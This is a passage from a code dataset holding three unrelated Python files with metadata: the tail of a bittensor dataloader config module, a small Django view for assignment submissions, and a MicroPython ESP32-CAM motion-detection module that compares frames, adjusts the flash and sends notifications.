config.dataloader.batch_size\n config.dataloader.max_corpus_size = max_corpus_size if max_corpus_size != None else config.dataloader.max_corpus_size\n config.dataloader.num_workers = num_workers if num_workers != None else config.dataloader.num_workers\n config.dataloader.dataset = dataset if dataset != None else config.dataloader.dataset\n dataloader.check_config( config )\n return dataloader_impl.GenesisTextDataloader(\n block_size = config.dataloader.block_size,\n batch_size = config.dataloader.batch_size,\n max_corpus_size = config.dataloader.max_corpus_size,\n num_workers = config.dataloader.num_workers,\n dataset = config.dataloader.dataset,\n data_dir = config.dataloader.data_dir\n )\n\n @classmethod\n def config(cls) -> 'bittensor.Config':\n \"\"\" Get config from the argument parser \n Return: bittensor.config object\n \"\"\"\n parser = argparse.ArgumentParser()\n dataloader.add_args( parser )\n return bittensor.config( parser )\n\n @classmethod\n def add_args(cls, parser: argparse.ArgumentParser ):\n \"\"\" Accept specific arguments from parser\n \"\"\"\n try:\n parser.add_argument('--dataloader.batch_size', default=10, type=int, help='Batch size.')\n parser.add_argument('--dataloader.block_size', default=20, type=int, help='Number of text items to pull for each example..')\n parser.add_argument('--dataloader.max_corpus_size', default=1e+6, type=int, help='Maximum amount of data to download from IPFS into memory for training.')\n parser.add_argument('--dataloader.num_workers', default=0, type=int, help='Number of workers for data loader.')\n parser.add_argument('--dataloader.dataset', default='train', type=str, help='Which datasets to use (genesis or wikitext)).')\n parser.add_argument('--dataloader.data_dir', default='~/.bittensor/data/', type=str, help='Where to save and load the data.')\n except argparse.ArgumentError:\n # re-parsing arguments.\n pass\n\n\n @classmethod\n def check_config( cls, config: 'bittensor.Config' ):\n \"\"\" Check config for batch size, block size, corpus size, num_workers and dataset\n \"\"\"\n assert config.dataloader.batch_size > 0, 'Batch size must be larger than 0'\n assert config.dataloader.block_size > 0, 'Block size must be larger than 0'\n assert config.dataloader.max_corpus_size > 0, 'max_corpus_size must be larger than 0'\n assert config.dataloader.num_workers >= 0, 'num_workers must be equal to or larger than 0'\n assert config.dataloader.dataset in ['train','test','validation'], 'dataset must be one of the following choices: genesis, wikitext, test, or validation'\n", "sub_path": "bittensor/_dataloader/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 4818, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "copy.deepcopy", "line_number": 42, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 63, "usage_type": "call"}, {"api_name": "bittensor.config", "line_number": 65, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 68, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentError", "line_number": 78, "usage_type": "attribute"}]} {"seq_id": "98364798", "text": "from django.shortcuts import render\nfrom django.views.generic import ListView\nfrom .models import Assignment, Submission\nfrom .forms import AssignmentForm, SubmissionForm\nfrom django.shortcuts import render, redirect, get_object_or_404\n\n\ndef new_assignment(request):\n assignments = Assignment.objects.all()\n if request.method == 'POST':\n form = AssignmentForm(request.POST)\n if form.is_valid():\n assignment = form.save()\n return redirect('home')\n else:\n form = AssignmentForm()\n return render(request, 'home.html', {'form': form, 'assignments': assignments})\n\ndef show_assignment(request, pk):\n assignment = get_object_or_404(Assignment, pk=pk)\n submissions = assignment.submission_set.all()\n if request.method == 'POST':\n form = SubmissionForm(request.POST, request.FILES)\n if form.is_valid():\n submission = form.save(commit=False)\n submission.assignment = assignment\n submission.save()\n return redirect('show_assignment', pk=pk)\n else:\n form = SubmissionForm()\n return render(request, 'assignment.html', {'form': form, 'assignment': assignment, 'submissions': submissions})", "sub_path": "submissions/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1210, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "models.Assignment.objects.all", "line_number": 9, "usage_type": "call"}, {"api_name": "models.Assignment.objects", "line_number": 9, "usage_type": "attribute"}, {"api_name": "models.Assignment", "line_number": 9, "usage_type": "name"}, {"api_name": "forms.AssignmentForm", "line_number": 11, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 14, "usage_type": "call"}, {"api_name": "forms.AssignmentForm", "line_number": 16, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 17, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 20, "usage_type": "call"}, {"api_name": "models.Assignment", "line_number": 20, "usage_type": "argument"}, {"api_name": "forms.SubmissionForm", "line_number": 23, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 28, "usage_type": "call"}, {"api_name": "forms.SubmissionForm", "line_number": 30, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 31, "usage_type": "call"}]} {"seq_id": "164465302", "text": "# Distributed under MIT License\n# Copyright (c) 2021 Remi BERTHOLET\n\"\"\" Motion detection only work with ESP32CAM (Requires specially modified ESP32CAM firmware to handle motion detection.) \"\"\"\nimport sys\nimport uasyncio\nimport video\nfrom gc import collect\nfrom tools import useful, jsonconfig, lang, linearfunction, tasking\nfrom server.notifier import Notifier\nfrom server.server import Server\nfrom server.presence import Presence\nfrom motion.historic import Historic\nfrom video.video import Camera\n\nclass MotionConfig(jsonconfig.JsonConfig):\n\t\"\"\" Configuration class of motion detection \"\"\"\n\tdef __init__(self):\n\t\tjsonconfig.JsonConfig.__init__(self)\n\t\t# Indicates if the motion is activated\n\t\tself.activated = False\n\n\t\t# Suspend the motion detection when presence detected\n\t\tself.suspendOnPresence = True\n\n\t\t# Minimum difference contigous threshold to detect movement\n\t\tself.differencesDetection = 4\n\n\t\t# Sensitivity in percent (100% = max sensitivity, 0% = min sensitivity)\n\t\tself.sensitivity=80\n\n\t\t# Max images in motion historic\n\t\tself.maxMotionImages=10\n\n\t\t# Glitch threshold of image ignored (sometime the camera bug)\n\t\tself.thresholdGlitch=2\n\n\t\t# Threshold of minimum image to detect motion\n\t\tself.thresholdMotion=3\n\n\t\t# Number of images before camera stabilization\n\t\tself.stabilizationCamera=8\n\n\t\t# Turn on the led flash when the light goes down\n\t\tself.lightCompensation = True\n\n\t\t# Notify motion\n\t\tself.notify = True\n\n\t\t# Empty mask is equal disable masking\n\t\tself.mask = b\"\"\n\nclass ImageMotion:\n\t\"\"\" Class managing a motion detection image \"\"\"\n\tbaseIndex = [0]\n\tmotionBaseId = [0]\n\tcreated = [0]\n\tdef __init__(self, motion, config):\n\t\t\"\"\" Constructor \"\"\"\n\t\tself.motion = motion\n\t\tself.baseIndex[0] += 1\n\t\tself.created[0] += 1\n\t\tself.index = self.baseIndex[0]\n\t\tself.filename = None\n\t\tself.motionId = None\n\t\tself.date = useful.dateToString()\n\t\tself.filename = useful.dateToFilename()\n\t\tpath = useful.dateToPath()[:-1]\n\t\tif path[-1] in [0x30,0x31,0x32]:\n\t\t\tpath = path[:-1] + b\"00\"\n\t\telse:\n\t\t\tpath = path[:-1] + b\"30\"\n\t\tself.path = path\n\t\tself.motionDetected = False\n\t\tself.config = config\n\t\tself.comparison = None\n\n\tdef deinit(self):\n\t\t\"\"\" Destructor \"\"\"\n\t\tself.created[0] -= 1\n\t\tif self.created[0] >= 32:\n\t\t\tprint(\"Destroy %d\"%self.created[0])\n\t\tif self.motion:\n\t\t\tself.motion.deinit()\n\t\n\tdef setMotionId(self, motionId = None):\n\t\t\"\"\" Set the unique image identifier \"\"\"\n\t\tif motionId == None:\n\t\t\tself.motionBaseId[0] += 1\n\t\t\tself.motionId = self.motionBaseId[0]\n\t\telse:\n\t\t\tif self.motionId == None:\n\t\t\t\tself.motionId = motionId\n\t\t\telse:\n\t\t\t\tprint(\"Motion id already set\")\n\t\n\tdef getMotionId(self):\n\t\t\"\"\" Get the unique image identifier \"\"\"\n\t\treturn self.motionId\n\n\tdef getFilename(self):\n\t\t\"\"\" Get the storage filename \"\"\"\n\t\treturn \"%s Id=%d D=%d\"%(self.filename, self.index, self.getDiffCount())\n\n\tdef getMessage(self):\n\t\t\"\"\" Get the message of motion \"\"\"\n\t\treturn \"%s %s D=%d\"%(useful.tostrings(lang.motion_detected), self.date[-8:], self.getDiffCount())\n\n\tdef getInformations(self):\n\t\t\"\"\" Return the informations of motion \"\"\"\n\t\tif self.comparison != None:\n\t\t\tresult = self.comparison.copy()\n\t\telse:\n\t\t\tresult = {}\n\t\tresult[\"image\"] = self.getFilename() + \".jpg\"\n\t\tresult[\"path\"] = self.path\n\t\tresult[\"index\"] = self.index\n\t\tresult[\"date\"] = self.date\n\t\tresult[\"motionId\"] = self.motionId\n\t\treturn result\n\n\tasync def save(self):\n\t\t\"\"\" Save the image on sd card \"\"\"\n\t\treturn await Historic.addMotion(useful.tostrings(self.path), self.getFilename(), self.motion.getImage(), self.getInformations())\n\n\tdef compare(self, previous, extractShape=True):\n\t\t\"\"\" Compare two motion images to get differences \"\"\"\n\t\tres = self.motion.compare(previous.motion, extractShape)\n\t\tself.comparison = res\n\t\treturn res\n\n\tdef getMotionDetected(self):\n\t\t\"\"\" Get the motion detection status \"\"\"\n\t\treturn self.motionDetected\n\t\n\tdef setMotionDetected(self):\n\t\t\"\"\" Set the motion detection status \"\"\"\n\t\tself.motionDetected = True\n\t\n\tdef get(self):\n\t\t\"\"\" Get the image captured \"\"\"\n\t\treturn self.motion.getImage()\n\t\n\tdef getComparison(self):\n\t\t\"\"\" Return the comparison result \"\"\"\n\t\treturn self.comparison\n\n\tdef getDiffCount(self):\n\t\t\"\"\" Get the difference contigous \"\"\"\n\t\tif self.comparison:\n\t\t\treturn self.comparison[\"diff\"][\"count\"]\n\t\treturn 0\n\n\tdef getDiffHisto(self):\n\t\t\"\"\" Get the histogram difference \"\"\"\n\t\tif self.comparison:\n\t\t\treturn self.comparison[\"diff\"][\"diffhisto\"]\n\t\treturn 0\n\n\tdef getDifferences(self):\n\t\t\"\"\" Get the differences \"\"\"\n\t\tif self.comparison:\n\t\t\treturn self.comparison[\"diff\"][\"diffs\"]\n\t\treturn \"\"\n\n\tdef resetDifferences(self):\n\t\t\"\"\" Reset the differences, used during the camera stabilization image \"\"\"\n\t\tself.comparison = None\n\n\tdef getSize(self):\n\t\t\"\"\" Return the size of image buffer \"\"\"\n\t\treturn self.motion.getSize()\n\n\tdef refreshConfig(self):\n\t\t\"\"\" Refresh the motion detection configuration \"\"\"\n\t\tif self.motion != None:\n\t\t\tmask = useful.tobytes(self.config.mask)\n\t\t\tif not b\"/\" in mask:\n\t\t\t\tmask = b\"\"\n\t\t\terrorLight = linearfunction.getFx(self.config.sensitivity, linearfunction.getLinear(100,8,0,64))\n\t\t\tself.motion.configure(\\\n\t\t\t\t{\n\t\t\t\t\t\"mask\":mask,\n\t\t\t\t\t\"errorLights\":[[0,1],[128,errorLight],[192, errorLight],[256,errorLight]],\n\t\t\t\t\t\"errorHistos\":[[0,0],[32,32],[128,128],[256,256]]\n\t\t\t\t})\n\nclass SnapConfig:\n\t\"\"\" Store last motion information \"\"\"\n\tinfo = None\n\n\t@staticmethod\n\tdef get(width=None, height=None):\n\t\t\"\"\" Get the last motion information \"\"\"\n\t\tif width != None and height != None:\n\t\t\tSnapConfig.info = SnapConfig(width, height)\n\t\telif SnapConfig.info == None:\n\t\t\tSnapConfig.info = SnapConfig()\n\t\treturn SnapConfig.info\n\n\tdef __init__(self, width=800, height=600):\n\t\t\"\"\" Constructor \"\"\"\n\t\tself.width = width\n\t\tself.height = height\n\t\tif (((self.width/8) % 8) == 0):\n\t\t\tself.square_x = 64\n\t\telse:\n\t\t\tself.square_x = 40\n\n\t\tif (((self.height/8) % 8) == 0):\n\t\t\tself.square_y = 64\n\t\telse:\n\t\t\tself.square_y = 40\n\t\tself.diff_x = self.width // self.square_x\n\t\tself.diff_y = self.height // self.square_y\n\t\tself.max = self.diff_x * self.diff_y\n\nclass Motion:\n\t\"\"\" Class to manage the motion capture \"\"\"\n\tdef __init__(self, config= None, pirDetection=False):\n\t\tself.images = []\n\t\tself.index = 0\n\t\tself.config = config\n\t\tself.pirDetection = pirDetection\n\t\tself.imageBackground = None\n\t\tself.mustRefreshConfig = True\n\t\tself.quality = 15\n\t\tself.previousQuality = 0\n\t\tself.flashLevel = 0\n\n\tdef __del__(self):\n\t\t\"\"\" Destructor \"\"\"\n\t\tself.cleanup()\n\n\tdef cleanup(self):\n\t\t\"\"\" Clean up all images \"\"\"\n\t\tfor image in self.images:\n\t\t\tif id(image) != id(self.imageBackground):\n\t\t\t\timage.deinit()\n\t\tself.images = []\n\t\tif self.imageBackground:\n\t\t\tself.imageBackground.deinit()\n\t\tself.imageBackground = None\n\n\tdef open(self):\n\t\t\"\"\" Open camera \"\"\"\n\t\tif video.Camera.open():\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef resume(self):\n\t\t\"\"\" Resume the camera, restore the camera configuration after an interruption \"\"\"\n\t\tvideo.Camera.framesize(b\"%dx%d\"%(SnapConfig.get().width, SnapConfig.get().height))\n\t\tvideo.Camera.pixformat(b\"JPEG\")\n\t\tvideo.Camera.quality(self.quality)\n\t\tvideo.Camera.brightness(0)\n\t\tvideo.Camera.contrast(0)\n\t\tvideo.Camera.saturation(0)\n\t\tvideo.Camera.hmirror(0)\n\t\tvideo.Camera.vflip(0)\n\t\tvideo.Camera.flash(self.flashLevel)\n\n\t\tdetected, changePolling = self.detect(False)\n\t\tif detected == False:\n\t\t\tself.cleanup()\n\n\tasync def capture(self):\n\t\t\"\"\" Capture motion image \"\"\"\n\t\tresult = None\n\t\t# If enough image taken\n\t\tif len(self.images) >= self.config.maxMotionImages:\n\t\t\t# Get older image\n\t\t\timage = self.images.pop()\n\t\t\t\n\t\t\t# If motion detected on image, on battery the first five images are sent\n\t\t\tif image.getMotionDetected() or (self.pirDetection and image.index <= 3):\n\t\t\t\t# Notification of motion\n\t\t\t\tresult = (image.getMessage(), image)\n\n\t\t\t\t# Save image to sdcard\n\t\t\t\tif await image.save() == False:\n\t\t\t\t\tif self.config.notify:\n\t\t\t\t\t\tawait Notifier.notify(lang.failed_to_save)\n\t\t\telse:\n\t\t\t\t# Destroy image\n\t\t\t\tself.deinitImage(image)\n\n\t\tmotion = video.Camera.motion()\n\n\t\t# Light can be compensed with flash led\n\t\tif self.config.lightCompensation:\n\t\t\t# If it has enough light\n\t\t\tif motion.getLight() >= 32:\n\t\t\t\t# If flash led working\n\t\t\t\tif self.flashLevel >= 2:\n\t\t\t\t\t# Reduce light of flash led\n\t\t\t\t\tself.flashLevel -= 2\n\t\t\t\t\tvideo.Camera.flash(self.flashLevel)\n\t\t\t# If it has not enough light\n\t\t\tif motion.getLight() <= 24:\n\t\t\t\t# If flash to low\n\t\t\t\tif self.flashLevel <= 192:\n\t\t\t\t\t# Increase the light of flash led\n\t\t\t\t\tself.flashLevel += 2\n\t\t\t\t\tvideo.Camera.flash(self.flashLevel)\n\t\telse:\n\t\t\t# If flash led working and compensation disabled\n\t\t\tif self.flashLevel > 0:\n\t\t\t\t# Stop flash led\n\t\t\t\tself.flashLevel = 0\n\t\t\t\tvideo.Camera.flash(self.flashLevel)\n\n\t\timage = ImageMotion(motion, self.config)\n\t\tif self.mustRefreshConfig:\n\t\t\timage.refreshConfig()\n\t\t\tself.mustRefreshConfig = False\n\t\tself.images.insert(0, image)\n\t\tself.index += 1\n\t\treturn result\n\n\tdef refreshConfig(self):\n\t\t\"\"\" Force the refresh of motion configuration \"\"\"\n\t\tself.mustRefreshConfig = True\n\n\tdef isStabilized(self):\n\t\t\"\"\" Indicates if the camera is stabilized \"\"\"\n\t\t# If the PIR detection force the stabilization\n\t\tif self.pirDetection == True:\n\t\t\tstabilized = True\n\t\t# If the camera not stabilized\n\t\telif len(self.images) < self.config.stabilizationCamera and len(self.images) < self.config.maxMotionImages:\n\t\t\tstabilized = False\n\t\telse:\n\t\t\tstabilized = True\n\t\treturn stabilized\n\n\tdef isDetected(self, comparison):\n\t\t\"\"\" Indicates if motion detected \"\"\"\n\t\tif comparison:\n\t\t\t# If image seem not equal to previous\n\t\t\tif comparison[\"diff\"][\"count\"] >= self.config.differencesDetection:\n\t\t\t\treturn True\n\t\treturn False\n\n\tdef adjustQuality(self, current):\n\t\t\"\"\" Adjust the image quality according to the size of image to\"\"\"\n\t\tif len(self.images) >= self.config.maxMotionImages:\n\t\t\tchanged = False\n\t\t\tsize = current.getSize()\n\t\t\tif size > 62*1024:\n\t\t\t\tif self.quality < 63:\n\t\t\t\t\tself.quality += 1\n\t\t\t\t\tchanged = True\n\t\t\t\t\tvideo.Camera.quality(self.quality, False)\n\t\t\telse:\n\t\t\t\tif self.quality >= 1:\n\t\t\t\t\tif size < 50*1024:\n\t\t\t\t\t\tself.quality -= 1\n\t\t\t\t\t\tchanged = True\n\t\t\t\t\t\tvideo.Camera.quality(self.quality, False)\n\t\t\tif changed == False:\n\t\t\t\tif self.previousQuality != self.quality:\n\t\t\t\t\tself.previousQuality = self.quality\n\n\tdef compare(self, display=True):\n\t\t\"\"\" Compare all images captured and search differences \"\"\"\n\t\tdifferences = {}\n\t\tif len(self.images) >= 2:\n\t\t\tcurrent = self.images[0]\n\t\t\t\n\t\t\tself.adjustQuality(current)\n\n\t\t\t# Compute the motion identifier\n\t\t\tfor previous in self.images[1:]:\n\t\t\t\t# # If image not already compared\n\t\t\t\tcomparison = current.compare(previous, False)\n\t\n\t\t\t\t# If camera not stabilized\n\t\t\t\tif self.isStabilized() == False:\n\t\t\t\t\t# Reject the differences\n\t\t\t\t\tcurrent.resetDifferences()\n\t\t\t\t\tbreak\n\n\t\t\t\t# If image seem equal to previous\n\t\t\t\tif not self.isDetected(comparison):\n\t\t\t\t\t# Reuse the motion identifier\n\t\t\t\t\tcurrent.setMotionId(previous.motionId)\n\t\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\t# Create new motion id\n\t\t\t\tcurrent.setMotionId()\n\n\t\t\t\t# Compare the image with the background if existing and extract modification\n\t\t\t\tif self.imageBackground != None:\n\t\t\t\t\tcomparison = current.compare(self.imageBackground, True)\n\n\t\t\t# Compute the list of differences\n\t\t\tdiffs = \"\"\n\t\t\tindex = 0\n\t\t\tfor image in self.images:\n\t\t\t\tdifferences.setdefault(image.getMotionId(), []).append(image.getMotionId())\n\t\t\t\tif image.getMotionId() != None:\n\t\t\t\t\tif image.index % 10 == 0:\n\t\t\t\t\t\ttrace = \"_\"\n\t\t\t\t\telse:\n\t\t\t\t\t\ttrace = \" \"\n\t\t\t\t\tif image.index > index:\n\t\t\t\t\t\tindex = image.index\n\t\t\t\t\tdiffs += \"%d:%d%s%s\"%(image.getMotionId(), image.getDiffCount(), chr(0x41 + ((256-image.getDiffHisto())//10)), trace)\n\t\t\tif display:\n\t\t\t\tsys.stdout.write(\"\\r%s %s (%d) \"%(useful.dateToString()[12:], diffs, index))\n\t\treturn differences\n\n\tdef deinitImage(self, image):\n\t\t\"\"\" Release image allocated \"\"\"\n\t\tif image:\n\t\t\tif not image in self.images:\n\t\t\t\tif image != self.imageBackground:\n\t\t\t\t\timage.deinit()\n\n\tdef detect(self, display=True):\n\t\t\"\"\" Detect motion \"\"\"\n\t\tdetected = False\n\t\tchangePolling = False\n\n\t\t# Compute the list of differences\n\t\tdifferences = self.compare(display)\n\n\t\t# Too many differences found\n\t\tif len(list(differences.keys())) >= self.config.thresholdMotion:\n\t\t\tdetected = True\n\t\t\tchangePolling = True\n\t\t# If no differences\n\t\telif len(list(differences.keys())) == 1:\n\t\t\timage = self.imageBackground\n\t\t\tself.imageBackground = self.images[0]\n\t\t\tself.deinitImage(image)\n\t\t\tdetected = False\n\t\t# If not enough differences\n\t\telif len(list(differences.keys())) <= self.config.thresholdGlitch:\n\t\t\tdetected = True\n\t\t\tchangePolling = True\n\t\t\t# Check if it is a glitch\n\t\t\tfor diff in differences.values():\n\t\t\t\tif len(diff) <= 1:\n\t\t\t\t\t# Glitch ignored\n\t\t\t\t\tdetected = False\n\t\t\t\t\tbreak\n\t\t# Not detected\n\t\telse:\n\t\t\tdetected = False\n\n\t\tif detected:\n\t\t\t# Mark all motion images\n\t\t\tfor image in self.images:\n\t\t\t\t# If image seem not equal to previous\n\t\t\t\tif self.isDetected(image.getComparison()):\n\t\t\t\t\timage.setMotionDetected()\n\t\treturn detected, changePolling\n\nclass Detection:\n\t\"\"\" Asynchronous motion detection object \"\"\"\n\tdef __init__(self, pirDetection):\n\t\t\"\"\" Constructor \"\"\"\n\t\tself.pirDetection = pirDetection\n\t\tself.loadConfig()\n\t\tself.motion = None\n\t\t\n\t\tself.batteryLevel = -2\n\t\tif self.pirDetection == True:\n\t\t\tself.pollingFrequency = 3\n\t\telse:\n\t\t\tself.pollingFrequency = 100\n\t\tself.detection = None\n\t\tself.activated = None\n\t\tself.refreshConfigCounter = 0\n\n\tdef loadConfig(self):\n\t\t\"\"\" Load motion configuration \"\"\"\n\t\t# Open motion configuration\n\t\tself.motionConfig = MotionConfig()\n\t\tif self.motionConfig.load() == False:\n\t\t\tself.motionConfig.save()\n\n\tdef refreshConfig(self):\n\t\t\"\"\" Refresh the configuration : it can be changed by web page \"\"\"\n\t\tif self.refreshConfigCounter % 11 == 0:\n\t\t\t# If configuration changed\n\t\t\tif self.motionConfig.isChanged():\n\t\t\t\tself.motionConfig.load()\n\t\t\t\tuseful.syslog(\"Change motion config %s\"%self.motionConfig.toString(), display=False)\n\t\t\t\tif self.motion:\n\t\t\t\t\tself.motion.refreshConfig()\n\t\tself.refreshConfigCounter += 1\n\n\tasync def run(self):\n\t\t\"\"\" Main asynchronous task \"\"\"\n\t\tawait tasking.taskMonitoring(self.detect)\n\t\n\tasync def detect(self):\n\t\t\"\"\" Detect motion \"\"\"\n\t\tresult = False\n\t\t# Wait the server resume\n\t\tawait Server.waitResume()\n\n\t\t# Release previously alocated image\n\t\tself.releaseImage()\n\n\t\t# If the motion detection activated\n\t\tif await self.isActivated():\n\t\t\t# Capture motion\n\t\t\tresult = await self.capture()\n\t\telse:\n\t\t\tawait uasyncio.sleep(3)\n\t\t\tresult = True\n\n\t\t# Refresh configuration when it changed\n\t\tself.refreshConfig()\n\n\t\treturn result\n\n\tasync def isActivated(self):\n\t\t\"\"\" Indicates if the motion detection is activated according to configuration or presence \"\"\"\n\t\tresult = False\n\n\t\t# If motion activated\n\t\tif self.motionConfig.activated:\n\t\t\t# If motion must be suspended on presence\n\t\t\tif self.motionConfig.suspendOnPresence:\n\t\t\t\t# If home is empty\n\t\t\t\tif Presence.isDetected() == False:\n\t\t\t\t\tresult = True\n\t\t\telse:\n\t\t\t\tresult = True\n\t\t\n\t\t# If state of motion changed\n\t\tif self.activated != result:\n\t\t\t# If notification enabled\n\t\t\tif self.motionConfig.notify:\n\t\t\t\tif result:\n\t\t\t\t\tawait Notifier.notify(lang.motion_detection_on)\n\t\t\t\telse:\n\t\t\t\t\tawait Notifier.notify(lang.motion_detection_off)\n\t\t\tself.activated = result\n\n\t\t# If camera activated and motion activated\n\t\tif Camera.isActivated() and result:\n\t\t\tresult = True\n\t\telse:\n\t\t\tresult = False\n\n\t\t# If motion disabled\n\t\tif result == False:\n\t\t\t# Wait moment before next loop\n\t\t\tawait uasyncio.sleep_ms(500)\n\t\treturn result\n\n\tasync def initMotion(self):\n\t\t\"\"\" Initialize motion detection \"\"\"\n\t\tfirstInit = False\n\n\t\t# If motion not initialized\n\t\tif self.motion == None:\n\t\t\tself.motion = Motion(self.motionConfig, self.pirDetection)\n\t\t\tif self.motion.open() == False:\n\t\t\t\tself.motion = None\n\t\t\t\traise Exception(\"Cannot open camera\")\n\t\t\telse:\n\t\t\t\tfirstInit = True\n\n\t\t# If the camera configuration changed\n\t\tif video.Camera.isModified() or firstInit:\n\t\t\t# Restore motion configuration\n\t\t\tself.motion.resume()\n\t\t\tvideo.Camera.clearModified()\n\n\tdef releaseImage(self):\n\t\t\"\"\" Release motion image allocated \"\"\"\n\t\t# If detection\n\t\tif self.detection:\n\t\t\tmessage, image = self.detection\n\t\t\t# Release image buffer\n\t\t\tself.motion.deinitImage(image)\n\n\t\t# Force garbage collection each 20 images\n\t\tif self.motion:\n\t\t\tif self.motion.index %30 == 0:\n\t\t\t\tcollect()\n\n\tasync def capture(self):\n\t\t\"\"\" Capture motion \"\"\"\n\t\tresult = False\n\n\t\t# If camera not stabilized speed start\n\t\tif self.motion and self.motion.isStabilized() == True:\n\t\t\tawait uasyncio.sleep_ms(self.pollingFrequency*100 if Server.isSlow() else self.pollingFrequency)\n\n\t\ttry:\n\t\t\t# Waits for the camera's availability\n\t\t\treserved = await video.Camera.reserve(self, timeout=60)\n\n\t\t\t# If reserved\n\t\t\tif reserved:\n\t\t\t\t# Initialize motion detection\n\t\t\t\tawait self.initMotion()\n\n\t\t\t\t# Capture motion image\n\t\t\t\tself.detection = await self.motion.capture()\n\n\t\t\t\t# If motion detected\n\t\t\t\tif self.detection != None:\n\t\t\t\t\t# Notify motion with push over\n\t\t\t\t\tmessage, image = self.detection\n\t\t\t\t\tif self.motionConfig.notify:\n\t\t\t\t\t\tawait Notifier.notify(message, image.get())\n\t\t\t\t# Detect motion\n\t\t\t\tdetected, changePolling = self.motion.detect()\n\n\t\t\t\t# If motion found\n\t\t\t\tif changePolling == True:\n\t\t\t\t\t# Speed up the polling frequency\n\t\t\t\t\tself.pollingFrequency = 10\n\t\t\t\t\tHistoric.setMotionState(True)\n\t\t\t\telse:\n\t\t\t\t\t# Slow down the polling frequency\n\t\t\t\t\tself.pollingFrequency = 50\n\t\t\t\t\tHistoric.setMotionState(False)\n\t\t\t\tresult = True\n\t\t\telse:\n\t\t\t\tif self.motionConfig.notify:\n\t\t\t\t\tawait Notifier.notify(lang.motion_detection_suspended)\n\t\t\t\tresult = True\n\n\t\tfinally:\n\t\t\tif reserved:\n\t\t\t\tawait video.Camera.unreserve(self)\n\t\treturn result\n\nasync def detectMotion(pirDetection):\n\t\"\"\" Asynchronous motion detection main routine \"\"\"\n\tdetection = Detection(pirDetection)\n\tawait detection.run()\n\n", "sub_path": "modules/lib/motion/motion.py", "file_name": "motion.py", "file_ext": "py", "file_size_in_byte": 17709, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "tools.jsonconfig.JsonConfig", "line_number": 15, "usage_type": "attribute"}, {"api_name": "tools.jsonconfig", "line_number": 15, "usage_type": "name"}, {"api_name": "tools.jsonconfig.JsonConfig.__init__", "line_number": 18, "usage_type": "call"}, {"api_name": "tools.jsonconfig.JsonConfig", "line_number": 18, "usage_type": "attribute"}, {"api_name": "tools.jsonconfig", "line_number": 18, "usage_type": "name"}, {"api_name": "motion.historic", "line_number": 59, "usage_type": "name"}, {"api_name": "tools.useful.dateToString", "line_number": 65, "usage_type": "call"}, {"api_name": "tools.useful", "line_number": 65, "usage_type": "name"}, {"api_name": "tools.useful.dateToFilename", "line_number": 66, "usage_type": "call"}, {"api_name": "tools.useful", "line_number": 66, "usage_type": "name"}, {"api_name": "tools.useful.dateToPath", "line_number": 67, "usage_type": "call"}, {"api_name": "tools.useful", "line_number": 67, "usage_type": "name"}, {"api_name": "tools.useful.tostrings", "line_number": 106, "usage_type": "call"}, {"api_name": "tools.useful", "line_number": 106, "usage_type": "name"}, {"api_name": "tools.lang.motion_detected", "line_number": 106, "usage_type": "attribute"}, {"api_name": "tools.lang", "line_number": 106, "usage_type": "name"}, {"api_name": "motion.historic.Historic.addMotion", "line_number": 123, "usage_type": "call"}, {"api_name": "motion.historic.Historic", "line_number": 123, "usage_type": "name"}, {"api_name": "tools.useful.tostrings", "line_number": 123, "usage_type": "call"}, {"api_name": "tools.useful", "line_number": 123, "usage_type": "name"}, {"api_name": "tools.useful.tobytes", "line_number": 176, "usage_type": "call"}, {"api_name": "tools.useful", "line_number": 176, "usage_type": "name"}, {"api_name": "tools.linearfunction.getFx", "line_number": 179, "usage_type": "call"}, {"api_name": "tools.linearfunction", "line_number": 179, "usage_type": "name"}, {"api_name": "tools.linearfunction.getLinear", "line_number": 179, "usage_type": "call"}, {"api_name": "video.Camera.open", "line_number": 246, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 246, "usage_type": "attribute"}, {"api_name": "video.Camera.framesize", "line_number": 253, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 253, "usage_type": "attribute"}, {"api_name": "video.Camera.pixformat", "line_number": 254, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 254, "usage_type": "attribute"}, {"api_name": "video.Camera.quality", "line_number": 255, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 255, "usage_type": "attribute"}, {"api_name": "video.Camera.brightness", "line_number": 256, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 256, "usage_type": "attribute"}, {"api_name": "video.Camera.contrast", "line_number": 257, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 257, "usage_type": "attribute"}, {"api_name": "video.Camera.saturation", "line_number": 258, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 258, "usage_type": "attribute"}, {"api_name": "video.Camera.hmirror", "line_number": 259, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 259, "usage_type": "attribute"}, {"api_name": "video.Camera.vflip", "line_number": 260, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 260, "usage_type": "attribute"}, {"api_name": "video.Camera.flash", "line_number": 261, "usage_type": "call"}, {"api_name": "video.Camera", "line_number": 261, "usage_type": "attribute"}, {"api_name": "server.notifier.Notifier.notify", "line_number": 283, "usage_type": "call"}, {"api_name": "server.notifier.Notifier", "line_number": 283, "usage_type": "name"}, {"api_name": "tools.lang.failed_to_save", "line_number": 283, "usage_type": "attribute"}, {"api_name": "tools.lang", "line_number": 283, "usage_type": "name"}, {"api_name": "motion.historic", "line_number": 288, "usage_type": "name"}, {"api_name": 